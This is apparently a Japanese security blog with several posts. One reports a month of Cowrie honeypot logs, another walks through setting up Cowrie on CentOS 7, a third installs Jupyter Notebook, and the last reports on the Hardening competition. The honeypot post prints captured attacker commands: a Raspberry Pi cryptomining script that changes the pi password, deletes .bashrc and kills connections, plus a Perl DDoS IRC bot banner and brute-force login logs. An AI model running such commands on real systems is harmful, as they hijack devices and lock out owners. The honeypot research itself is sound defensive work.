テック・スタディ

IoTとかセキュリティとかの備忘録

Cowrie honeypotを構築して1ヶ月ほど放置した結果

以前Cowrie honeypotの構築話をしました。

tech-study.hateblo.jp

当時は構築直後ということもあり、「どんな攻撃者がやって来るのか?」とか 「どんなファイルを置きに来るのか?」といった疑問を解消することはできませんでした。

今回はCowrie honeypotの構築後、攻撃者がどんなファイルを置きにきたかをメインに話を進めていきたいと思います。

構築後1週目 - 2週目

2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD:   echo -e '\x47\x72\x6f\x70/lib/init/rw' > /lib/init/rw/.nippon;   cat /lib/init/rw/.nippon;   rm -f /lib/init/rw/.nippon
2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD:   echo -e '\x47\x72\x6f\x70/proc' > /proc/.nippon;   cat /proc/.nippon;   rm -f /proc/.nippon
2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD:   echo -e '\x47\x72\x6f\x70/sys' > /sys/.nippon;   cat /sys/.nippon;   rm -f /sys/.nippon
2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD:   echo -e '\x47\x72\x6f\x70/dev' > /dev/.nippon;   cat /dev/.nippon;   rm -f /dev/.nippon
2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD:   echo -e '\x47\x72\x6f\x70/dev/shm' > /dev/shm/.nippon;   cat /dev/shm/.nippon;   rm -f /dev/shm/.nippon
2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD:   echo -e '\x47\x72\x6f\x70/dev/pts' > /dev/pts/.nippon;   cat /dev/pts/.nippon;   rm -f /dev/pts/.nippon
2017-08-26T22:23:01+0900 CMD: 
2017-08-26T22:23:01+0900 CMD: /gweerwe323f
2017-08-26T22:23:01+0900 CMD: 

ユーザ情報がデフォルトのものだけだと、攻撃者もあまり面白いものを設置してくれなかったです。

その後

2017-09-18T22:13:30+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2059,71.212.172.157] login attempt [pi/raspberryraspberry993311] failed
2017-09-19T03:30:27+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2212,103.53.77.118] login attempt [pi/raspberryraspberry993311] failed
2017-09-19T03:33:30+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2214,98.31.13.113] login attempt [admin/admin1234] failed
2017-09-19T03:46:46+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2218,82.81.139.74] login attempt [pi/raspberryraspberry993311] failed
2017-09-19T05:13:29+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2225,122.249.98.242] login attempt [admin/motorola] failed
2017-09-19T05:13:30+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2225,122.249.98.242] login attempt [admin/aerohive] failed
2017-09-19T05:13:31+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2225,122.249.98.242] login attempt [admin/1111] failed
2017-09-19T11:41:14+0900 [SSHService 'ssh-userauth' on HoneyPotSSHTransport,2303,101.184.82.174] login attempt [pi/raspberryraspberry993311] failed

このようなログインに失敗しているユーザ情報を洗い出して、それをuserdb.txtに書き込み再起動。

これにより様々な攻撃者が来訪してくるようになりました。

興味深かったファイル

急激な来訪者の増加に伴い、dlディレクトリの中にもファイルが残るようになりました。

ここでは、特に興味深かったものを紹介します。

raspberry piを狙ったマイニングマルウェア

一番僕の目を引いたのはマイニングマルウェアが設置されたことでした。 userdb.txtのユーザ情報をpi/raspberryなどとしておけば、 攻撃者が採掘用のリソースとして悪用しようと狙ってきます。

sudo nohup $TMP2 -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 45hgMAs1sNdMs7H9aCQm8oMCG5HGg37nv9Ab5r8u4R9gcWkSteobyt6faTuV8tnzhSUH3WFmStG1YXtsvSkSo5sz2ugxSW4 >> $DEBUG 
&
sleep 3
rm -rf $TMP2

rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc
usermod -p \$6\$U1Nu9qCp\$FhPuo8s5PsQlH6lwUdTwFcAUPNzmr0pWCdNJj.p6l4Mzi8S867YLmc7BspmEH95POvxPQ3PzP029yT1L3yi6K1 pi
for pid in `netstat -pant | grep -v "ssh" | grep -v "minerd" | grep ESTABLISHED | awk -F ' ' '{print $7}' | awk -F '/' '{print $1}'`
do
    echo $pid
    kill -9 $pid
done

stratumという記述が見えるので、どこかのマイニングプールへ接続させようとしてることが分かりますね。

DDoSのIRCボット(の一部
######################################################################################################################



##  DDoS Perl IrcBot v1.0 / 2017 By G            ## [ Help ] ###########################################



##      Stealth MultiFunctional IrcBot writen in Perl          #######################################################



##        Teste on every system with PERL instlled             ##  !u @system                                       ##



##                                                             ##  !u @version                                      ##



##     This is a free program used on your own risk.           ##  !u @channel                                      ##



##        Created for educational purpose only.                ##  !u @flood                                        ##



## I'm not responsible for the illegal use of this program.    ##  !u @utils                                        ##



######################################################################################################################

このプログラムはperlで書かれているみたいです。←perlあまり読んだことない(小声

ソースコード内にはIRCのチャネル名なのか、ユーザ名なのか、接続先URLなのか

いろいろなものが記載されていました。

どんどん(honeypotを)攻撃されたい人向けのアドバイス

認証が弾かれている認証情報のセットをすぐに追加!!

logをgrepして、「failed」などの認証失敗してるキーワードで絞り込むと弾かれているID/PASSのリストが作成可能です。 僕は手動で追加していますが、そのうち自動で追加できるようなバッチを書いて作業を省略する予定です。

まとめ

・構築してアクセスが落ち着いてしまったという場合は、userdb.txtのユーザ情報を追加するといい

・cowrie.logの中からログインに失敗している部分を抜き出してユーザ情報を用意する

9/30に技術交流会でお話したスライド

あと、2017/09/30にハニーポット技術交流会で構築後のお話もしました。

www.slideshare.net

色々な人が来られてて、とても楽しかったですよ!

【Cowrie】CentOS7にハニーポットを構築してみた話(ハニーポット初心者)

これまで、Twitterやとあるブログでハニーポットのお話を読んだり聞いたりする機会はありました。 しかし実際に構築するとなると、色々なことを考えて躊躇することが多い人でした。 今回はハニーポットを構築しようと思ったきっかけや構築手順、今後の活用方法などをツラツラ書いていこうと思います。

きっかけは些細なこと

ハニーポット界隈で有名な@morihi_socさん。 おそらくハニーポットに興味がある人は知っているのではないでしょうか。 僕はTwitterで知る前に彼の著書を読んで興味を持った人の一人です。

サイバー攻撃の足跡を分析するハニーポット観察記録 Amazon

この書籍は、ハニーポットを構築して攻撃者の行動を分析してみようZE!!って感じの内容になってます(全然伝わらない ※あくまでも個人的な印象です。

ハニーポットについて詳しく書かれたものが少ない中、書籍好きの僕には効果抜群でした(笑) すぐにAmazonで注文。

読んで、読んで、実践して、読んでを繰り返して今に至ります。

※2017/08 関東で集中落雷が発生 UPS未導入が原因で自宅検証環境が死にました。

で、きっかけ何?って話ですが、cake injectionを心待ちにしている人間ハニーポット@junk_cokenさんが書いているブログです。

ハニーポット入門としてよく導入されるKippo。 しかしKippoは攻撃者に対策されたり、エラーが発生したりして思うようにマルウェアやログを取ることができません。 そういうときはKippoの改良版(?)的なCowrieを使っていきましょう。

SSHハニーポットはKippoではなくCowrieを使え - 人間ハニーポット作戦

ハニーポットを運用するならやっぱり最新?流行?のマルウェアとか攻撃のログは見ておきたいですよね!? けど、Kippoは攻撃者からすればすぐわかるよ。だから攻撃者はすぐに帰っちゃう。ということが書いてあります。

このあたりの知識ってなかなか素人では探せない情報なのかなと思いました。 サラッと書いてあるところが「Cool」でしたね。

Cowrie構築

お話は構築手順に移ります。 なお、当ブログで記載している手順等は全て自己責任のもと実施してください。 他のユーザの迷惑にならないよう、適切な知識・設定で運用を行ってください。 言葉が足りないでしょうが、「自己責任」でお願いします。

ユーザ作成

まずはCowrieを動かすためのユーザを作りましょう。

# useradd Cowrie
# passwd Cowrie

関連モジュールのインストール

作成したら、Pythonで必要なモジュールをインストールしていきます。 僕の環境ではすでにインストール済みでした。

# yum install python-setuptools
# yum install python-devel

easy_installコマンドを使ってpipやら色々インストールしていきます。

# easy_install pip
# easy_install PyCrypto pyasn1

twistedはバージョンの指定が必要らしいですね。

# pip install twisted==15.2.0

これで、関連モジュールのインストールは完了しました。

Gitからコードを落としてくる

ここから先ほど作成したユーザに切り替えて作業してきます。

# su Cowrie
$ git clone http://github.com/micheloosterhof/cowrie
$ cd cowrie/

設定ファイルのコピー

デフォルトの設定ファイルをコピーしておきます。

$ cp cowrie.cfg.dist cowrie.cfg

設定ファイル編集

listen_portなどを編集しておきます。

$ vi cowrie.cfg
listen_port = 22222

reported_ssh_port = 22

デフォルトで両方ともコメントアウトされているので、コメントアウトを解除しました。

ハニーポットへ擬似的にログインできるダミーアカウントの設定もしましょう。

$ vi data/userdb.txt
root:x:!root
root:x:!123456

こちらも既に設定が入っています。 今後追加したければ利用するとよいかも。

firewall-cmdの設定

ハニーポットをlistenさせるには、ポート開放が必要です。 また、22/tcpへの接続を22222/tcpへ転送する設定も必要になります。

# firewall-cmd --permanent --add-port 22/tcp
# firewall-cmd --permanent --zone=public --add-forward-port=port=22:proto=tcp:toport=22222
# systemctl restart firewalld.service
# firewall-cmd --list-all

virtualenvの設定など

公式どおりに設定していきます。

$ pwd
/home/Cowrie/cowrie
$ virtualenv cowrie-env
New python executable in ./cowrie/cowrie-env/bin/python
Installing setuptools, pip, wheel...done.
$ source cowrie-env/bin/activate
(cowrie-env) $ pip install -r requirements.txt
$ cd data
$ ssh-keygen -t dsa -b 1024 -f ssh_host_dsa_key
$ cd ..
$ export PYTHONPATH=/home/cowrie/cowrie

蜜壺、起動!!!

さて、プ●さんも早くしろと叫んでいるので、起動してみます。

$ bin/cowrie start
Activating virtualenv "cowrie-env"
Starting cowrie: [twistd   --umask 0077 --pidfile var/run/cowrie.pid -l log/cowrie.log cowrie ]...

起動したっぽい?

まとめ

構築するのは結構簡単? 起動確認とか、不審なアクセスとかまだ見てないからなんとも。。。

8/26 07:00 現在

いろいろファイルが設置されていたみたいですが、 virustotalかけても危険なものは出てこなかったです。 auth failure系のログ見てると、admin/adminみたいなものから辞書攻撃しているものも見えたので、 そのあたりのユーザも少しdata/userdb.txtに追記していく予定です。

今後はどう活用していくか

まず最近のssh周りに関する動向調査 ハニポへのアクセスを集計して、ログ分析できる可視化環境の構築とかやっていきたい ハニーポッターの方々と情報交換をしていけたらと思います。 定期的にログの収集を実施して、特徴的なものなどあれば当ブログでも取り上げることにします。

お知らせ

9/30にハニーポッター技術交流会で登壇させていただくことになりました!

hanipo-tech.connpass.com

Jupyter NotebookをCentOS 7 で構築する

目的

最近Pythonで検証することが増えてきたため、即座に検証できる環境を構築しようと思い立ちました。 これから機械学習などのコードを検証していきたいので、足場作りにJupyter Notebookの環境を整備してみることにします。

環境

# cat /etc/centos-release
CentOS Linux release 7.3.1611 (Core) 

インストール

update

環境は常に最新のものを使いましょう。

$ sudo yum update

必要なものをdownload

$ curl https://repo.continuum.io/archive/Anaconda3-4.3.1-Linux-x86_64.sh -O
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  474M  100  474M    0     0  11.0M      0  0:00:42  0:00:42 --:--:-- 11.2M
$ chmod +x Anaconda3-4.3.1-Linux-x86_64.sh 

$ ./Anaconda3-4.3.1-Linux-x86_64.sh 

Welcome to Anaconda3 4.3.1 (by Continuum Analytics, Inc.)

In order to continue the installation process, please review the license
agreement.
Please, press ENTER to continue
>>> (Enterを押下)

#↓ライセンス条項を承認するか?という質問が出てくるので、yesと入力
Do you approve the license terms? [yes|no]  
>>>  yes

#↓Anaconda3を以下の場所にインストールするよ!と出てくる。
#特に問題なければEnter押下
Anaconda3 will now be installed into this location:                                      
/home/h3xm9s9/anaconda3                     

  - Press ENTER to confirm the location     
  - Press CTRL-C to abort the installation  
  - Or specify a different location below   

[/home/h3xm9s9/anaconda3] >>> (Enterを押下)

installing: xxxxx

・・・(中略)・・・

Python 3.6.0 :: Continuum Analytics, Inc.   
creating default environment...             
installation finished. 
#Anaconda3のファイルパス?か何かを.bashrcに書き込もうとしてるみたい
#特に問題なければyesにします。                     
Do you wish the installer to prepend the Anaconda3 install location      
to PATH in your /home/h3xm9s9/.bashrc ? [yes|no]                                         
[no] >>> yes                                

Prepending PATH=/home/h3xm9s9/anaconda3/bin to PATH in /home/h3xm9s9/.bashrc             
A backup will be made to: /home/h3xm9s9/.bashrc-anaconda3.bak                            


For this change to become active, you have to open a new terminal.                       

Thank you for installing Anaconda3!         

Share your notebooks and packages on Anaconda Cloud!                                     
Sign up for free: https://anaconda.org      

[h3xm9s9 ~]$ 
                        
###noにした場合...
###$PATH設定してね!って言われます。

[no] >>> no        

You may wish to edit your .bashrc or prepend the Anaconda3 install location:             

$ export PATH=/home/h3xm9s9/anaconda3/bin:$PATH                                          

Thank you for installing Anaconda3!         

Share your notebooks and packages on Anaconda Cloud!                                     
Sign up for free: https://anaconda.org  

インストールは無事に終了しました。

.bashrcを再読み込み

インストール段階でファイルパスの設定がされていますが、筆者の環境では.bashrcが読み込まれていなかったので 以下を実行しました。

$ source ~/.bashrc

Jupyter Notebook起動!

インストール時にファイルパスを.bashrcに書き込めていれば、起動できるはず。 前項の筆者のように、そもそもsourceされていない場合もありますが。。。 そもそもコマンドが無いと怒られる場合は、インストール時に失敗している or 「$ export PATH=/…」の部分が適用されていないので、なんとか解決してください。 ※特にシェルをbash以外にしている人は要注意です。

configファイル作成&編集

$ mkdir ~/.jupyter
$ touch ~/.jupyter/jupyter_noteboook_config.py
c = get_config()

c.NotebookApp.ip = '*'
c.NotebookApp.open_browser = False
c.NotebookApp.port = 8888

firewalld設定

「セキュリティは万全?」のセの字を言われる前に設定する。

$ sudo firewall-cmd --add-port=8888/tcp --permanent
$ sudo firewall-cmd --reload

ログインパスワードの設定

# iPythonを起動
$ ipython

# 暗号化された文字列を生成するためにライブラリ読み込み
In [1]: from notebook.auth import passwd

# パスワードを入力して暗号化された文字列を生成
In [2]: passwd()
Enter password: 
Verify password: 
Out[2]: 'sha1:(暗号化された文字列)'

# iPythonから抜ける
In [3]:                                                                                                                                               
Do you really want to exit ([y]/n)? y

iPython実行時に以下のエラーが

ImportError: No module named notebook.auth

おそらくjupyterのインストールがanaconda経由のためでしょう。 pipでjupyterをインストールします。

$ pip install jupyter

特にエラーが出なければ、モジュールが追加されているはずです。 もう一度暗号化文字列生成用のモジュールを読み込んでみましょう。

暗号化されたパスワードをconfigに設定

先ほど生成したパスワードを設定します。

$ vim ~/.jupyter/jupyter_notebook_config.py

c.NotebookApp.password = u'sha1:(前項で生成した文字列)'  #追記

Jupyter Notebook 起動

$ jupyter notebook

パスワード認証画面が出てきた!

f:id:h3xm9s9:20170811100625p:plain

HTTPSアクセスを有効にするための設定

あらかじめ鍵ペア作成と証明書取得は完了しておきます。 作成が完了したら、移動します。

$ mv mycert.pem ~/.jupyter/
$ mv mykey.key ~/.jupyter/

移動ができたら、configに秘密鍵と証明書のパスを追記しておきます。

$ vim ~/.jupyter/jupyter_notebook_config.py
c.NotebookApp.certfile = u'${ホームディレクトリへの絶対パス}/.jupyter/mycert.pem'
c.NotebookApp.keyfile = u'${ホームディレクトリへの絶対パス}/.jupyter/mykey.key'

デーモン再起動をすれば、作業完了!

参考サイト

CentOS 7のsystemctlコマンドに登録できるみたいですね。 詳しい手順は以下のサイトを参考にすればいいかな。

CentOS7にJupyter Notebookを導入

Hardening 1010 Cash Flow 〜リアルなインシデントを体感せよ!〜

時はきた

2017年6月23日、24日。日本の未来を担うエンジニアが集結した。 雲ひとつない青空の下、コンベンションセンターの一角で10時間にも及ぶ熱き戦いが幕をあける。。。 本稿では、Hardeningに参加した経験をもとに日本の未来を担うエンジニアの方々にメッセージを伝える。

競技の概要

開催された競技内容は、NDAの関係上詳細に語ることができない。 また、本稿で伝えたい内容ではないため詳細については差し控えさせていただく。 大変申し訳ないが、以下のブログや運営の方が公開されている記事を参考にしてほしい。

Hardening 1010 Cash Flow 参加レポート by Money Forward 市川さん

Hardening 1010 Cash Flow に参加してきました by DMM.com 澤谷さん

Hardening 1010 Cash Flowに参加しました by nmtyshさん

Cash Flowを意識した企業経営を!

当然のことながら、企業を立ち上げ、運用していくにはそれなりの資金が必要となる。 今回のHardeningのタイトルにもあるとおり、Cash Flowを意識した経営が重要になってくる。

本競技は迫り来るインシデントへ柔軟に対応しながらECサイトを運営することで、仮想の企業を存続することができる。

Market Placeと呼ばれる卸売業者から在庫を購入し、ECサイト補充することでようやく販売体制が整うという仕組みもおもしろい。

卸売業者から「優良企業認定」(仮称)を受ければ、定価よりも安く在庫を仕入れられるメリットも存在した。

新しく追加された銀行の仕組みを使い、融資を受けたチームがほとんどだった。

そうでなければ、今回の競技。 Market Placeにて製品を購入することはおろか、在庫の仕入れが不可能になる可能性もあったのだ。

脆弱性などの話も。。。

BIND rndcの設定における不備

BINDといえば様々な脆弱性が存在するが、今回の競技ではそのような危険度の高い脆弱性の他に、rndcの設定不備が悪用されるシナリオも用意されていた。

rndcの設定でアクセス制御を受け付けており、なおかつ鍵情報が漏洩した場合にリモートから制御されるというものだ。

幾度もBINDを停止させられたチームがほとんどだろう。※我々のチームも原因不明の停止に悩まされた

Tomcat標準のWeb アプリケーションマネージャが有効

Apach Tomcat では、アプリケーションのデプロイや停止などを管理できる管理画面が用意されている。

この機能は標準で稼働はしないようになっているらしいが、設定手順次第では機能を誤って有効にしてしまう場合があるそうだ。

BIND rndc および Tomcatの設定不備に関して

参考:Hardening 1010 Cash Flow 開催! 株式会社ラック

我々のチームを襲った、「Patrick Hurley」

我がチームに多大な損害を加えたPatrick Hurley

特に実害が発生したわけではないのだが、トータル20回以上、約3000万円ものマイナス注文をかけられた。

通常の業務でこのような事態が発生した場合どうなるのかと考えると、背筋も凍る想いだ。

f:id:h3xm9s9:20170725201050p:plain

重要なのはチームワーク

この競技に参加して感じたことは「チームワークの重要性」だ。

Softening Dayの各チーム発表でも窺えるのだが、「ダブルチェック」や「ペアでの行動」といった基礎的(?)な行動が重要だと思われる。

一人で作業をすると、間違いを発見するまでに長い時間をかけたり、他者に指摘されるまで気づかなかったりする。

こういった無駄を「ダブルチェック」や「ペア行動」などの取り組みで改善することが可能だ。

短時間ではあるが、強い絆で結ばれた!

普段知り合うことが無いであろう人々と強い絆で結ばれた。

チームの人はもちろん、会場全体が「衛る」という目的に向かって一生懸命になれた。

そのことが何よりも素晴らしいことでは無いだろうか。

所感

このHardening Projectは未来の日本を担う人にとって、 とてつもない力を与えてくれるイベントだ。 チームメイトが先生で、自分自身も先生になり得るためである。 セキュリティの業務に従事している人がチームにいれば、 どのような部分に脆弱性を作り込む可能性があるか?などを聞くこともできるだろう。 また、チームにエンジニアの方がいれば、 運用時の注意点や移行作業の大変さを聞くことができるかもしれない。 自身が属していない分野・業務の知識を、短期間のうちにたくさん触れられるのは魅力的だ。

ここから食い止める!リアルのインシデント

昨今、セキュリティインシデントが頻発しているこの日本では、 「衛る」ことの重要性を理解した"人財"が特に必要とされている。

本稿を読まれたあなたは、「衛る」ことの重要性に気づき理解できるはずだ。 もっと理解を深めたいと思われたら、次回のHardeningに参加されることを強くおすすめする。

次回Hardeningは2017年11月23日 - 25日に兵庫県淡路島で開催される。 募集が開始されたら、セキュリティに対する熱い想いを持って応募してほしい。

「衛る」輪を広め、日本の未来を我々の手で創造していこうではないか。